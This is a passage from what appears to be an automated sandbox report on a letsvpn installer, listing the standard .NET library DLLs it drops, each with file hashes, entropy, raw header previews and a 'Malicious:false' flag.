                                                                                            SHA-512:D46D9C644316F2648E3C019ED11EBDCE67958B430C32C1FEB5B25BC808288D4DEDC5D7D0299C9547A88F37176EDC92A10D83D8674E7441AB9BAE9AE100D50723
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ...............................L....@................................. ,..O....@...................+...`.......*............................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h*......................................BSJB............v4.0.30319......l.......#~..|...x...#Strings............#US.........#GUID...........#Blob......................3......................................$.........N.U.....U.....-...u.................0...........n.........................>.......................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.....C.2...K.R...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.928221667503601
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:mJGWe4WeYpwKANynsAw/98E9VF3AM+o02Mp:qm6Aw/KENAMx2p
                                                                                            MD5:2797E1151B356A42E082273195B6773C
                                                                                            SHA1:59FC174B188CF5EED6D3AE6ACF01A40014614410
                                                                                            SHA-256:443275D642CC88AE05BEC977B3A7906B9B3DB382B22CD0CEBE08ECA118DA1FDC
                                                                                            SHA-512:3958EA65A30006D8E4B9A7E513DB12C9E69AE16E6C4ED27589D18438DA0D78D7CBAE8B4F30F02D89B86A683A37875D271CFF1B5EB931A2D88672081E0455F04B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ....................................@.................................0)..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d)......H.......P ..(...................x'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob......................3..................................................4...~.4...R.!...T.....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.845488888859241
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:AdW1w3WesWa7pwKANynsAw/98E9VF3AM+oV45ho:51wxdAw/KENAMxIho
                                                                                            MD5:8E75452F26F1DD475C790DAEA35979A3
                                                                                            SHA1:A870500E220B0A1F4E60A05652F660267BB4E6BF
                                                                                            SHA-256:C3E8D1A2C5AA7EDAAE3E42DF3D5C40FDBD77C2A026D851902795ECDADBF1376F
                                                                                            SHA-512:5DF0F7D1252AC1A7369F5533D305293E22586852F5E16F2AAE9C34581787D5C89C0B242446F2EE85F2BB2C50CA86103F812231EFE78FF0253789EA029682B869
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............~*... ...@....... ...............................p....@.................................,*..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`*......H.......P ..$...................t(......................................BSJB............v4.0.30319......l...$...#~......t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.<.....<.....<...C.<.....<.....<...[.<...x.<...-.......<.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):25576
                                                                                            Entropy (8bit):6.645198805547004
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:eylNGlfdqj5531HJTABhf8g2MkO1ICMbmiT2Y4Y3ocWS9sWvW8YsWUJGpwKANynx:eyp12Bhkg3qnV/sULAw/KENAMxw
                                                                                            MD5:0117EDAC090D4B6F45B66B4EB5B1E61A
                                                                                            SHA1:9DABCFC9D00DFFAD6EFB04DAEE7138BA7B41BAEE
                                                                                            SHA-256:3A968E6CB20814E4FDF5439AC2AFE609B5294BD9BA7412A0DE98D4C741F8CD9F
                                                                                            SHA-512:63DCCBD83A4F83A0716DD7A55589D8C969A346836E9D2B0B0BAFCC62843059A75A61CDECA4B0080B8107D6625606A124773FE4557CD97FEAEEAA533278CC609B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..*...........I... ...`....... ....................................@.................................gI..O....`...............8...+...........H............................................... ............... ..H............text....)... ...*.................. ..`.rsrc........`.......,..............@..@.reloc...............6..............@..B.................I......H.......H(... ..................HH.......................................0..J.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%......o....*...0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+*.0..K.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%.......o...+*..0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+*.0..L.......(....~....%-.&~..........s....%.....~....%-.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.9085869648323355
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:fHPAW1bWb8pwKANynsAw/98E9VF3AM+oGkieQz:3rsAw/KENAMxO
                                                                                            MD5:4312C57BD61256F8DABF2AC39260AB34
                                                                                            SHA1:1589002195830CBE78406D54AA503EDFC92FE9FD
                                                                                            SHA-256:AC7EE6034CCF97619980E10803994E516D4E0D53FDE0D7B7EFEECAFA31DC710D
                                                                                            SHA-512:8C8038FD388D48732495DB7E68C499E9A9D2E1E58D6857CA988FB03356CDA6605A2C927C5FA28AA2783AD210063C8093D94AFBC288F62D69C8B5530007AB9C0A
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................;'....@..................................(..O....@..P................+...`......P'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3......................................z...............\.....0.....3.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.911347469160971
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:SNoqWD7WAQpwKANynsAw/98E9VF3AM+ocgxsqZDU1A:SNofTAw/KENAMx+qNX
                                                                                            MD5:7A46A23B5974EBB3990F0F758A392CB3
                                                                                            SHA1:099F457DF709F64D43EEF0BD68A3CD30298C8DCB
                                                                                            SHA-256:21A7B85A723E424E79986B3C14441F734F0BBA2F15B9D3CABCE4B7BB1E20F75D
                                                                                            SHA-512:D65D7604D56175C4E90913BFDA5292C5CE363C8D27EC539B0C390875F1E0640AA1CDCE10C530AAB0AD33F6017D60E6D2BEF07B1F6E1269D4411E83E14B7543C7
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................|(..O....@..@................+...`......D'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ..t....................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.913861277769009
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:iGETSAWUEWrvpwKANynsAw/98E9VF3AM+o9JmEOJu:4T1UAw/KENAMxn6Ju
                                                                                            MD5:FF7E10745B69A6514A4CE4F80DE711A2
                                                                                            SHA1:FCD110A536F4D19A0533C2A4E53974ED551EB3B4
                                                                                            SHA-256:CEDC329480C9FFD5F5533846CA820C00F25C5960B4C2E4CCD527DBB411487D69
                                                                                            SHA-512:FB16AB33FF0DBD016AB3811B4EAB8A70AB61D3BB4361687C072A1D5EB8A301817A69F94D16F75BC1BA49DF33DE382407A57472A69A3F72D815724C0F08C5EB97
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............B)... ...@....... ....................................@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3............................................................T.....,.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):111080
                                                                                            Entropy (8bit):5.540754648195177
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:6POw0SUUKw+GbgjMV+fCY1UiiGZ6qetMXIAMZ2zstK/EAwrxq:6Ww0SUUKBM8aOUiiGw7qa9tK/EhA
                                                                                            MD5:E7CEED3878E0F46D73C02C52AB2F49B0
                                                                                            SHA1:0FAFEBD57C72B065DE4515A5952930B2350F4E41
                                                                                            SHA-256:9820B2D19A07C540B80F6D0DCA1541083FFE8C6E8AC6B9897A61A6C88F2CCA7A
                                                                                            SHA-512:E7D01A36EE054557A5602C2F5C80232D00A163B1AC7A93FFC30FD3A7070B79724DE35782BB8BFDB46AE0E55911FCC77CD962153834B71768B3F99BA74BEFC312
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0..v............... ........... ..............................M.....@.................................f...O........................+.......................................................... ............... ..H............text....u... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B........................H........Q..|?..........$... ...D.........................................(....*&.l(....k*&.l(....k*..l.l(....k*..l.l(....k*&.l(....k*&.l(....k*&.l(....k*j~....%-.&(....s....%.....*..*.0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*2rG..p.(....*2r...p.(....*2r...p.(.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.902797795907002
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:pcDagtDApWSKJWEwpwKANynsAw/98E9VF3AM+ozZWgE:pPKBBAw/KENAMx6
                                                                                            MD5:2A0AE804890D979430A5C1AFC09232F9
                                                                                            SHA1:0B6D9098D7772076E9D2424BE747EABE65654B50
                                                                                            SHA-256:2E05A2BA67A620217727ED913156B6AB4E4CAF1D0FFC3D1075C45B103055C167
                                                                                            SHA-512:060595F906C4DC9DF598DAFF8059134ACF7B24F7FC8F0D3268101B2F8F59CE4CDB0242AAA827CD6EB18C99F31C5A8C2C25647D00A2BC45B8647EEE919B004DF3
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............+... ...@....... ...............................G....@.................................0+..O....@...................+...`.......)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d+......H.......P ..(...................x)......................................BSJB............v4.0.30319......l...x...#~......$...#Strings............#US.........#GUID...........#Blob......................3......................................x.........w.o.....o.....\...............<.....Y.................................................G...........V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C./...K.O...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.916428540480234
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:dIWD4WXRpwKANynsAw/98E9VF3AM+ocg66:d1GAw/KENAMxT
                                                                                            MD5:568128E2CB86C76BBCE49ED34A852BBA
                                                                                            SHA1:CB5DDD10884E5E35F7EA2CD23E8D65014439F862
                                                                                            SHA-256:A8A1E81410EF695FF2C19E0B50351194BEF701D4D58925FE385D93B574D71D61
                                                                                            SHA-512:6CF324E6CE9E7F4FACBCD9D6E7F1DC6420729A93066717AC74B89658FF5AB776DB8F3EC0F9BCE19B5704B97A9804FCADC3F5207F998C7EE625ABFA5CDE0DAF23
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@..@................+...`......\'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....d.......#US.h.......#GUID...x.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.844890578241113
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:hMWzQWpKpwKANynsAw/98E9VF3AM+o6xaBD0pK:h5bAw/KENAMxZBp
                                                                                            MD5:0433784AED4480A669D77359CCC95264
                                                                                            SHA1:9D2D1D8D46D91F50943425EF63C5ABF3B5E58114
                                                                                            SHA-256:8CDF9310D0123492FB10868E7DFEDEE6A0B06CEBB3422EE37524A8ADE5189584
                                                                                            SHA-512:1E9E906EDB6C25F6BD2B0A6FA547AAC670E87968A5E9F5CA3EBF3B69EB848A93A179C27236FE00DD273CFA51CCC9EE1FA961451168DD0C6F71797CA2F3D7339E
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............N*... ...@....... ..............................?.....@..................................)..O....@..@................+...`.......(............................................... ............... ..H............text...T.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B................0*......H.......P ......................D(......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................z.....N.....:.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.782256539426495
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:4xDHKWAMWpupwKANynsAw/98E9VF3AM+owMbRBI:gD8DAw/KENAMxFs
                                                                                            MD5:1C210937C40D4634EC7F874BD8EA91C3
                                                                                            SHA1:1D746471D766B47D705D31B0CCEBE44705290AD1
                                                                                            SHA-256:D8C641FE5C8AB29C69469D37195089563FC06B4FBC40DA67F339A52A5DAEC20E
                                                                                            SHA-512:A6523B98FBA30905B3BDED1E3BB587BE4F69DF34DDF5FA0CEF8DCE5A373C7692E3A6DBBE0F2BC6F52AFD5C9A372D4A448A56189ECDED690897A1431E46C3A4EF
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ...............................?....@................................. ,..O....@...................+...`.......*............................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h*......................................BSJB............v4.0.30319......l...H...#~......D...#Strings............#US.........#GUID...........#Blob......................3................................"...............1.............{.................................Q.....j.......................n...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.....K.N...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.886994140718831
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:5LNBEW6pWYypwKANynsAw/98E9VF3AM+oNHe:5bMTAw/KENAMxo
                                                                                            MD5:76E713DE0ED54900C5DD1F375229244A
                                                                                            SHA1:DF3A9931699EC7E1DE3B97AC1E0354ECF4B77C1F
                                                                                            SHA-256:7B7C90DB456C001EC50B5468F15E9A894B50EED93030017E637018A703893976
                                                                                            SHA-512:99EA7F703E8CFA879C34E0FD18537E9A65EF15341BE9D991E3C74A81344A5D7BC339745D8316D1990D8089ABBF3793B0D850331F45E37530DEA3164D2B60F7FF
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...................................@.................................D(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.935931811005859
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:KKkHKW/tWIRpwKANynsAw/98E9VF3AM+otfxZT:fuAAw/KENAMxDZT
                                                                                            MD5:C05DE26D79E40BF7C232044B0326F2E0
                                                                                            SHA1:5B6354A529526221A76A4E6254CE0AAABA765FCB
                                                                                            SHA-256:71DD37692CB13777254FC205896176B2429224A3C6BC6527F276FC99EE4D45B5
                                                                                            SHA-512:DAE672387B6BF6CDA6557A5592B17931053BF0EE2C8273FFEED92175C91D40EF00DE5137EB91D6B78A850C1D7D58D564F065FFBDDADBF2F1BD925FC47184C07C
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................`2....@..................................(..O....@..`................+...`.......'............................................... ............... ..H............text...4.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B.................)......H.......P ......................$'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................W.....W...R.D.........f.......................=.....V.....}...........q.........................>.....>.....>...).>...1.>...9.>...A.>...I.>...Q.>...Y.>...a.>...i.>...q.>.......................#.....+.....3.....;."...C.=...K.]...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.88642223241843
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:OLnfIWqrWYQpwKANynsAw/98E9VF3AM+olAcvSo6:ODf4HAw/KENAMxacT6
                                                                                            MD5:D74E5DA185EA81BAE3B3177E623DA777
                                                                                            SHA1:8E845113C508CF00068FCA01EAB29D8662839D38
                                                                                            SHA-256:BC6BE669D9A0720C084B9B1F2853D9A811BD44805ED13CB452461B5A1EFD9232
                                                                                            SHA-512:33FC1A6476C263F232CF1EE48142E2632E6ECCD90967D48901AA2971072839688DAABA34017B1EEA38968BB18E099AA927E9B9FF4636A353514EEBC83BAC37D3
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................M-....@.................................D(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):19944
                                                                                            Entropy (8bit):6.654786792740954
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:dybU8ndrbbT9NWB2WaxpwKANynsAw/98E9VF3AM+oOvBYuJ:dy5ndvWRAw/KENAMxLuJ
                                                                                            MD5:06E9C4E6C56DDE71D95ABC8389240876
                                                                                            SHA1:565322AD5DD23CB4A9D0A3C8731CC56B211576C4
                                                                                            SHA-256:8566100401AF8CDC80A2419478743FB630871120BB384A9BA957FDBF880C37DE
                                                                                            SHA-512:809EAEA96F4E4B19E4D019FC34893A035EFCA292683BD1D240CB8578482A0B88503D25B89C9038609C24D83BB79D9E2E62B8AA58C8A0372FD793ED9AC5C7F8C8
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Ksa...........!.................6... ...@....@.. ....................................@..................................6..K....@..............."...+...`.......$............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................6......H.......D%..<...................P ......................................_...+.'g.......x2..}}...B.O....T...e..?.M..R"M.~pg..c..LD#..y.....y....:u.v*...#.;.-.h.......0..#.....a5|T%W...].!.%'..9.0...........q....*..0..............q....*...0..............q....*...0.................*.0....................*..0....................*..0............q.........*....0............q.........*....0............*..0..........*....0................*..0...............*...0..............

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.868057632335088
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:Zna8WK1WG8pwKANynsAw/98E9VF3AM+o1lD2:Zna03Aw/KENAMxu
                                                                                            MD5:C5B5C96191D977A1506E6EED417B2BA7
                                                                                            SHA1:B0D2C139B061FE456E3067B9142633F12D1074D1
                                                                                            SHA-256:AB23FDFF57D74A92B849E9864D2562A22D76B6DD58F080A64D3AE60EA20E83A7
                                                                                            SHA-512:66B90D7DF871D4D4021E3D98AD63B908F7BA7E832E226BDDDCB651F7DA08DD55F885E23E33B8004F62C54276227F8CB39D9A65071D380A83051037E199B31C31
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............j*... ...@....... ..............................M.....@..................................*..O....@...................+...`.......(............................................... ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................L*......H.......P ......................`(......................................BSJB............v4.0.30319......l...@...#~......0...#Strings............#US.........#GUID....... ...#Blob......................3................................................w.................!...........<.....Y.............................................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.)...C.D...K.d...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.823469381591017
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:dBSWITWnhpwKANynsAw/98E9VF3AM+ot9vc0RZTz:d6dAw/KENAMxvvc0f3
                                                                                            MD5:A284A89FF3110628BA61099B736A4F39
                                                                                            SHA1:587822D8D69217DF8696A30D9843B088FAEFDCE3
                                                                                            SHA-256:E07C749A7CD59B4FF24222D398D6665E287D7ADDDF55B014171594447F9702B6
                                                                                            SHA-512:6DDA50625305FC5CA7652CCE9B8289C6BB70DD247184E9A94BBA75A961974A2D11F2C185205CCB749E2BC0882E519CDAC2DC3F801428C197F0530148AD484501
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............*... ...@....... ...................................@..................................)..O....@.. ................+...`.......(............................................... ............... ..H............text...$.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................*......H.......P .......................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................|.....|...S.i.........g.................f...........5.....~...........P.....9...................c.....c.....c...).c...1.c...9.c...A.c...I.c...Q.c...Y.c...a.c...i.c...q.c.......................#.....+.....3.....;.....C.6...K.V...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Handles.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.930234953706258
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:088cIIWNoWAspwKANynsAw/98E9VF3AM+oJT3Z75:09cU4Aw/KENAMxF37
                                                                                            MD5:C7119DFF7591888B03743BFD794229DC
                                                                                            SHA1:D69160FF471741C137C2063B612516AEDFFCF133
                                                                                            SHA-256:50AC07AE9F23E50F8227A995C2970C390EA12AAC322D7E664D57FE333663DA09
                                                                                            SHA-512:C1E030FEED2B333BE712ADAEBF0F0B89C94D86354FD8F860E094EFBA5050FC4CDCA673CB190F0469FC45A65B41895F4EF4BAFD2FFD00A5DFCA7C7F710C69EE1C
                                                                                            Malicious:false
